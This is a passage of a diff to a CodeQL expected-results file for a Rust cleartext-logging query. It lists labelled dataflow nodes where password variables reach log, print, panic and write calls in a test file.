...::log | -| test_logging.rs:47:11:47:34 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:47:27:47:34 | password | semmle.label | password | -| test_logging.rs:48:5:48:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:48:24:48:47 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:48:40:48:47 | password | semmle.label | password | -| test_logging.rs:53:5:53:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:53:12:53:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:53:28:53:35 | password | semmle.label | password | -| test_logging.rs:55:5:55:49 | ...::log | semmle.label | ...::log | -| test_logging.rs:55:12:55:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:55:41:55:48 | password | semmle.label | password | -| test_logging.rs:57:5:57:47 | ...::log | semmle.label | ...::log | -| test_logging.rs:57:12:57:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:57:39:57:46 | password | semmle.label | password | -| test_logging.rs:58:5:58:34 | ...::log | semmle.label | ...::log | -| test_logging.rs:58:12:58:33 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:44:5:44:35 | ...::log | semmle.label | ...::log | +| test_logging.rs:44:11:44:34 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:44:27:44:34 | password | semmle.label | password | +| test_logging.rs:45:5:45:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:45:12:45:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:45:28:45:35 | password | semmle.label | password | +| test_logging.rs:46:5:46:35 | ...::log | semmle.label | ...::log | +| test_logging.rs:46:11:46:34 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:46:27:46:34 | password | semmle.label | password | +| test_logging.rs:47:5:47:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:47:24:47:47 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:47:40:47:47 | password | semmle.label | password | +| test_logging.rs:52:5:52:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:52:12:52:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:52:28:52:35 | password | semmle.label | password | +| test_logging.rs:54:5:54:49 | ...::log | semmle.label | ...::log | +| test_logging.rs:54:12:54:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:54:41:54:48 | password | semmle.label | password | +| test_logging.rs:56:5:56:47 | ...::log | semmle.label | ...::log | +| test_logging.rs:56:12:56:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:56:39:56:46 | password | semmle.label | password | +| test_logging.rs:57:5:57:34 | ...::log | semmle.label | ...::log | +| test_logging.rs:57:12:57:33 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:57:24:57:31 | password | semmle.label | password | +| test_logging.rs:58:5:58:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:58:12:58:35 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:58:24:58:31 | password | semmle.label | password | -| test_logging.rs:59:5:59:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:59:12:59:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:59:24:59:31 | password | semmle.label | password | -| test_logging.rs:61:5:61:54 | ...::log | semmle.label | ...::log | -| test_logging.rs:61:30:61:53 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:61:46:61:53 | password | semmle.label | password | -| test_logging.rs:62:5:62:55 | ...::log | semmle.label | ...::log | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:62:20:62:28 | &password | semmle.label | &password | -| test_logging.rs:62:20:62:28 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:62:21:62:28 | password | semmle.label | password | -| test_logging.rs:66:5:66:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:66:24:66:47 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:66:40:66:47 | password | semmle.label | password | -| test_logging.rs:68:5:68:66 | ...::log | semmle.label | ...::log | -| test_logging.rs:68:42:68:65 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:68:58:68:65 | password | semmle.label | password | -| test_logging.rs:69:5:69:67 | ...::log | semmle.label | ...::log | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:69:18:69:26 | &password | semmle.label | &password | -| test_logging.rs:69:18:69:26 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:69:19:69:26 | password | semmle.label | password | -| test_logging.rs:73:5:73:47 | ...::log | semmle.label | ...::log | -| test_logging.rs:73:23:73:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:73:39:73:46 | password | semmle.label | password | -| test_logging.rs:75:5:75:65 | ...::log | semmle.label | ...::log | -| test_logging.rs:75:41:75:64 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:75:57:75:64 | password | semmle.label | password | -| test_logging.rs:76:5:76:51 | ...::log | semmle.label | ...::log | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:76:20:76:28 | &password | semmle.label | &password | -| test_logging.rs:76:20:76:28 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:76:21:76:28 | password | semmle.label | password | -| test_logging.rs:77:5:77:47 | ...::log | semmle.label | ...::log | -| test_logging.rs:77:23:77:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:77:39:77:46 | password | semmle.label | password | -| test_logging.rs:83:5:83:44 | ...::log | semmle.label | ...::log | -| test_logging.rs:83:20:83:43 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:83:36:83:43 | password | semmle.label | password | -| test_logging.rs:85:5:85:62 | ...::log | semmle.label | ...::log | -| test_logging.rs:85:38:85:61 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:85:54:85:61 | password | semmle.label | password | -| test_logging.rs:86:5:86:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:86:20:86:28 | &password | semmle.label | &password | -| test_logging.rs:86:20:86:28 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:86:21:86:28 | password | semmle.label | password | -| test_logging.rs:87:5:87:44 | ...::log | semmle.label | ...::log | -| test_logging.rs:87:20:87:43 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:87:36:87:43 | password | semmle.label | password | -| test_logging.rs:94:9:94:10 | m1 | semmle.label | m1 | -| test_logging.rs:94:14:94:22 | &password | semmle.label | &password | -| test_logging.rs:94:15:94:22 | password | semmle.label | password | -| test_logging.rs:95:5:95:29 | ...::log | semmle.label | ...::log | -| test_logging.rs:95:11:95:28 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:97:9:97:10 | m2 | semmle.label | m2 | -| test_logging.rs:97:41:97:49 | &password | semmle.label | &password | -| test_logging.rs:97:42:97:49 | password | semmle.label | password | -| test_logging.rs:98:5:98:19 | ...::log | semmle.label | ...::log | -| test_logging.rs:98:11:98:18 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:100:9:100:10 | m3 | semmle.label | m3 | -| test_logging.rs:100:14:100:46 | res | semmle.label | res | -| test_logging.rs:100:22:100:45 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:100:22:100:45 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:100:22:100:45 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:100:22:100:45 | { ... } | semmle.label | { ... } | -| test_logging.rs:100:38:100:45 | password | semmle.label | password | -| test_logging.rs:101:5:101:19 | ...::log | semmle.label | ...::log | -| test_logging.rs:101:11:101:18 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:119:5:119:42 | ...::log | semmle.label | ...::log | -| test_logging.rs:119:12:119:41 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:119:28:119:41 | get_password(...) | semmle.label | get_password(...) | -| test_logging.rs:130:9:130:10 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | -| test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | semmle.label | TupleExpr [tuple.1] | -| test_logging.rs:130:25:130:32 | password | semmle.label | password | -| test_logging.rs:132:5:132:32 | ...::log | semmle.label | ...::log | -| test_logging.rs:132:12:132:31 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:132:28:132:29 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | -| test_logging.rs:132:28:132:31 | t1.1 | semmle.label | t1.1 | -| test_logging.rs:139:5:139:38 | ...::log | semmle.label | ...::log | -| test_logging.rs:139:11:139:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:139:27:139:37 | s1.password | semmle.label | s1.password | -| test_logging.rs:146:5:146:38 | ...::log | semmle.label | ...::log | -| test_logging.rs:146:11:146:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:146:27:146:37 | s2.password | semmle.label | s2.password | -| test_logging.rs:171:22:171:31 | log_expect | semmle.label | log_expect | -| test_logging.rs:171:33:171:79 | &... | semmle.label | &... | -| test_logging.rs:171:33:171:79 | &... [&ref] | semmle.label | &... [&ref] | -| test_logging.rs:171:34:171:79 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:171:34:171:79 | res | semmle.label | res | -| test_logging.rs:171:42:171:78 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:171:42:171:78 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:171:42:171:78 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:171:42:171:78 | { ... } | semmle.label | { ... } | -| test_logging.rs:171:70:171:78 | password2 | semmle.label | password2 | -| test_logging.rs:175:24:175:33 | log_expect | semmle.label | log_expect | -| test_logging.rs:175:35:175:81 | &... | semmle.label | &... | -| test_logging.rs:175:35:175:81 | &... [&ref] | semmle.label | &... [&ref] | -| test_logging.rs:175:36:175:81 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:175:36:175:81 | res | semmle.label | res | -| test_logging.rs:175:44:175:80 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:175:44:175:80 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:175:44:175:80 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:175:44:175:80 | { ... } | semmle.label | { ... } | -| test_logging.rs:175:72:175:80 | password2 | semmle.label | password2 | -| test_logging.rs:182:9:182:19 | err_result3 [Err] | semmle.label | err_result3 [Err] | -| test_logging.rs:182:47:182:60 | Err(...) [Err] | semmle.label | Err(...) [Err] | -| test_logging.rs:182:51:182:59 | password2 | semmle.label | password2 | -| test_logging.rs:183:13:183:23 | err_result3 [Err] | semmle.label | err_result3 [Err] | -| test_logging.rs:183:25:183:34 | log_unwrap | semmle.label | log_unwrap | -| test_logging.rs:187:5:187:38 | ...::_print | semmle.label | ...::_print | -| test_logging.rs:187:12:187:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:187:30:187:37 | password | semmle.label | password | -| test_logging.rs:188:5:188:38 | ...::_print | semmle.label | ...::_print | -| test_logging.rs:188:14:188:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:188:30:188:37 | password | semmle.label | password | -| test_logging.rs:189:5:189:39 | ...::_eprint | semmle.label | ...::_eprint | -| test_logging.rs:189:13:189:38 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:189:31:189:38 | password | semmle.label | password | -| test_logging.rs:190:5:190:39 | ...::_eprint | semmle.label | ...::_eprint | -| test_logging.rs:190:15:190:38 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:190:31:190:38 | password | semmle.label | password | -| test_logging.rs:193:16:193:47 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:193:23:193:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:193:39:193:46 | password | semmle.label | password | -| test_logging.rs:194:16:194:46 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:194:22:194:45 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:194:38:194:45 | password | semmle.label | password | -| test_logging.rs:195:16:195:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:195:31:195:54 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:195:47:195:54 | password | semmle.label | password | -| test_logging.rs:196:16:196:53 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:196:29:196:52 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:196:45:196:52 | password | semmle.label | password | -| test_logging.rs:197:16:197:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:197:31:197:54 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:197:47:197:54 | password | semmle.label | password | -| test_logging.rs:198:16:198:57 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:198:33:198:56 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:198:49:198:56 | password | semmle.label | password | -| test_logging.rs:199:16:199:57 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:199:33:199:56 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:199:49:199:56 | password | semmle.label | password | -| test_logging.rs:200:16:200:61 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:200:37:200:60 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:200:53:200:60 | password | semmle.label | password | -| test_logging.rs:201:16:201:63 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:201:39:201:62 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:201:55:201:62 | password | semmle.label | password | -| test_logging.rs:202:17:202:64 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:202:40:202:63 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:202:56:202:63 | password | semmle.label | password | -| test_logging.rs:203:27:203:32 | expect | semmle.label | expect | -| test_logging.rs:203:34:203:66 | res | semmle.label | res | -| test_logging.rs:203:34:203:75 | ... .as_str() | semmle.label | ... .as_str() | -| test_logging.rs:203:42:203:65 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:203:42:203:65 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:203:42:203:65 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:203:42:203:65 | { ... } | semmle.label | { ... } | -| test_logging.rs:203:58:203:65 | password | semmle.label | password | -| test_logging.rs:209:30:209:34 | write | semmle.label | write | -| test_logging.rs:209:36:209:70 | res | semmle.label | res | -| test_logging.rs:209:36:209:81 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:209:44:209:69 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:209:44:209:69 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:209:44:209:69 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:209:44:209:69 | { ... } | semmle.label | { ... } | -| test_logging.rs:209:62:209:69 | password | semmle.label | password | -| test_logging.rs:210:30:210:38 | write_all | semmle.label | write_all | -| test_logging.rs:210:40:210:74 | res | semmle.label | res | -| test_logging.rs:210:40:210:85 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:210:48:210:73 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:210:48:210:73 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:210:48:210:73 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:210:48:210:73 | { ... } | semmle.label | { ... } | -| test_logging.rs:210:66:210:73 | password | semmle.label | password | -| test_logging.rs:213:9:213:13 | write | semmle.label | write | -| test_logging.rs:213:15:213:49 | res | semmle.label | res | -| test_logging.rs:213:15:213:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:213:23:213:48 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:213:23:213:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:213:23:213:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:213:23:213:48 | { ... } | semmle.label | { ... } | -| test_logging.rs:213:41:213:48 | password | semmle.label | password | -| test_logging.rs:216:9:216:13 | write | semmle.label | write | -| test_logging.rs:216:15:216:49 | res | semmle.label | res | -| test_logging.rs:216:15:216:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:216:23:216:48 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:216:23:216:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:216:23:216:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:216:23:216:48 | { ... } | semmle.label | { ... } | -| test_logging.rs:216:41:216:48 | password | semmle.label | password | +| test_logging.rs:60:5:60:54 | ...::log | semmle.label | ...::log | +| test_logging.rs:60:30:60:53 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:60:46:60:53 | password | semmle.label | password | +| test_logging.rs:61:5:61:55 | ...::log | semmle.label | ...::log | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:61:20:61:28 | &password | semmle.label | &password | +| test_logging.rs:61:20:61:28 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:61:21:61:28 | password | semmle.label | password | +| test_logging.rs:65:5:65:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:65:24:65:47 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:65:40:65:47 | password | semmle.label | password | +| test_logging.rs:67:5:67:66 | ...::log | semmle.label | ...::log | +| test_logging.rs:67:42:67:65 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:67:58:67:65 | password | semmle.label | password | +| test_logging.rs:68:5:68:67 | ...::log | semmle.label | ...::log | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:68:18:68:26 | &password | semmle.label | &password | +| test_logging.rs:68:18:68:26 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:68:19:68:26 | password | semmle.label | password | +| test_logging.rs:72:5:72:47 | ...::log | semmle.label | ...::log | +| test_logging.rs:72:23:72:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:72:39:72:46 | password | semmle.label | password | +| test_logging.rs:74:5:74:65 | ...::log | semmle.label | ...::log | +| test_logging.rs:74:41:74:64 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:74:57:74:64 | password | semmle.label | password | +| test_logging.rs:75:5:75:51 | ...::log | semmle.label | ...::log | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:75:20:75:28 | &password | semmle.label | &password | +| test_logging.rs:75:20:75:28 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:75:21:75:28 | password | semmle.label | password | +| test_logging.rs:76:5:76:47 | ...::log | semmle.label | ...::log | +| test_logging.rs:76:23:76:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:76:39:76:46 | password | semmle.label | password | +| test_logging.rs:82:5:82:44 | ...::log | semmle.label | ...::log | +| test_logging.rs:82:20:82:43 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:82:36:82:43 | password | semmle.label | password | +| test_logging.rs:84:5:84:62 | ...::log | semmle.label | ...::log | +| test_logging.rs:84:38:84:61 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:84:54:84:61 | password | semmle.label | password | +| test_logging.rs:85:5:85:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:85:20:85:28 | &password | semmle.label | &password | +| test_logging.rs:85:20:85:28 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:85:21:85:28 | password | semmle.label | password | +| test_logging.rs:86:5:86:44 | ...::log | semmle.label | ...::log | +| test_logging.rs:86:20:86:43 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:86:36:86:43 | password | semmle.label | password | +| test_logging.rs:93:9:93:10 | m1 | semmle.label | m1 | +| test_logging.rs:93:14:93:22 | &password | semmle.label | &password | +| test_logging.rs:93:15:93:22 | password | semmle.label | password | +| test_logging.rs:94:5:94:29 | ...::log | semmle.label | ...::log | +| test_logging.rs:94:11:94:28 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:96:9:96:10 | m2 | semmle.label | m2 | +| test_logging.rs:96:41:96:49 | &password | semmle.label | &password | +| test_logging.rs:96:42:96:49 | password | semmle.label | password | +| test_logging.rs:97:5:97:19 | ...::log | semmle.label | ...::log | +| test_logging.rs:97:11:97:18 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:99:9:99:10 | m3 | semmle.label | m3 | +| test_logging.rs:99:14:99:46 | res | semmle.label | res | +| test_logging.rs:99:22:99:45 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:99:22:99:45 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:99:22:99:45 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:99:22:99:45 | { ... } | semmle.label | { ... } | +| test_logging.rs:99:38:99:45 | password | semmle.label | password | +| test_logging.rs:100:5:100:19 | ...::log | semmle.label | ...::log | +| test_logging.rs:100:11:100:18 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:118:5:118:42 | ...::log | semmle.label | ...::log | +| test_logging.rs:118:12:118:41 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:118:28:118:41 | get_password(...) | semmle.label | get_password(...) | +| test_logging.rs:129:9:129:10 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | +| test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | semmle.label | TupleExpr [tuple.1] | +| test_logging.rs:129:25:129:32 | password | semmle.label | password | +| test_logging.rs:131:5:131:32 | ...::log | semmle.label | ...::log | +| test_logging.rs:131:12:131:31 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:131:28:131:29 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | +| test_logging.rs:131:28:131:31 | t1.1 | semmle.label | t1.1 | +| test_logging.rs:141:5:141:38 | ...::log | semmle.label | ...::log | +| test_logging.rs:141:11:141:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:141:27:141:37 | s1.password | semmle.label | s1.password | +| test_logging.rs:151:5:151:38 | ...::log | semmle.label | ...::log | +| test_logging.rs:151:11:151:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:151:27:151:37 | s2.password | semmle.label | s2.password | +| test_logging.rs:176:22:176:31 | log_expect | semmle.label | log_expect | +| test_logging.rs:176:33:176:79 | &... | semmle.label | &... | +| test_logging.rs:176:33:176:79 | &... [&ref] | semmle.label | &... [&ref] | +| test_logging.rs:176:34:176:79 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:176:34:176:79 | res | semmle.label | res | +| test_logging.rs:176:42:176:78 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:176:42:176:78 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:176:42:176:78 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:176:42:176:78 | { ... } | semmle.label | { ... } | +| test_logging.rs:176:70:176:78 | password2 | semmle.label | password2 | +| test_logging.rs:180:24:180:33 | log_expect | semmle.label | log_expect | +| test_logging.rs:180:35:180:81 | &... | semmle.label | &... | +| test_logging.rs:180:35:180:81 | &... [&ref] | semmle.label | &... [&ref] | +| test_logging.rs:180:36:180:81 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:180:36:180:81 | res | semmle.label | res | +| test_logging.rs:180:44:180:80 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:180:44:180:80 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:180:44:180:80 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:180:44:180:80 | { ... } | semmle.label | { ... } | +| test_logging.rs:180:72:180:80 | password2 | semmle.label | password2 | +| test_logging.rs:183:9:183:19 | err_result2 [Err] | semmle.label | err_result2 [Err] | +| test_logging.rs:183:47:183:68 | Err(...) [Err] | semmle.label | Err(...) [Err] | +| test_logging.rs:183:51:183:59 | password2 | semmle.label | password2 | +| test_logging.rs:183:51:183:67 | password2.clone() | semmle.label | password2.clone() | +| test_logging.rs:184:13:184:23 | err_result2 [Err] | semmle.label | err_result2 [Err] | +| test_logging.rs:184:25:184:34 | log_expect | semmle.label | log_expect | +| test_logging.rs:187:9:187:19 | err_result3 [Err] | semmle.label | err_result3 [Err] | +| test_logging.rs:187:47:187:60 | Err(...) [Err] | semmle.label | Err(...) [Err] | +| test_logging.rs:187:51:187:59 | password2 | semmle.label | password2 | +| test_logging.rs:188:13:188:23 | err_result3 [Err] | semmle.label | err_result3 [Err] | +| test_logging.rs:188:25:188:34 | log_unwrap | semmle.label | log_unwrap | +| test_logging.rs:192:5:192:38 | ...::_print | semmle.label | ...::_print | +| test_logging.rs:192:12:192:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:192:30:192:37 | password | semmle.label | password | +| test_logging.rs:193:5:193:38 | ...::_print | semmle.label | ...::_print | +| test_logging.rs:193:14:193:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:193:30:193:37 | password | semmle.label | password | +| test_logging.rs:194:5:194:39 | ...::_eprint | semmle.label | ...::_eprint | +| test_logging.rs:194:13:194:38 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:194:31:194:38 | password | semmle.label | password | +| test_logging.rs:195:5:195:39 | ...::_eprint | semmle.label | ...::_eprint | +| test_logging.rs:195:15:195:38 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:195:31:195:38 | password | semmle.label | password | +| test_logging.rs:199:13:199:44 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:199:20:199:43 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:199:36:199:43 | password | semmle.label | password | +| test_logging.rs:202:13:202:43 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:202:19:202:42 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:202:35:202:42 | password | semmle.label | password | +| test_logging.rs:205:13:205:52 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:205:28:205:51 | MacroExpr | semmle.label | MacroExpr | +| 